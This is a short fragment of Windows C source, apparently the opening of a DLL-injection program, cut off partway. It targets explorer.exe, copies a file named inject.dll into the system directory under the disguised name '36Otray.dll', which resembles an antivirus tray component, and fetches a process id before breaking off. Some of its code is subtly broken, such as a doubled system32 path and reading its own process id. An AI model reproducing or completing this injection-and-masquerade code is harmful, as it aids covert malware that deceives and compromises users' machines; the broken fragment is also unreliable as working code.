TCHAR ProcessName[100] = _T("explorer.exe");
wchar_t szDllName[100] = L"inject.dll";
int _stdcall WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
TCHAR currDirBuf[MAX_PATH] = {0};
TCHAR sysDirbuf[MAX_PATH] = {0};
HWND hWnd = NULL;
DWORD dwProcessId = NULL;
HANDLE hProcess = NULL;
LPVOID lpBuff = NULL;
GetCurrentDirectory(MAX_PATH,currDirBuf);
GetSystemDirectory(sysDirbuf,MAX_PATH);
wcscat(sysDirbuf,_T("//system32//36Otray.dll"));
wcscat(currDirBuf,_T("//inject.dll"));
CopyFile(currDirBuf,sysDirbuf,false);
dwProcessId = getpid();
if ( 0 == dwProcessId )
{
MessageBox(NULL,L"Can't Find Process!",L"error",MB_OK);
goto Exit0;
}
// if ( hProcess == 0 )
// {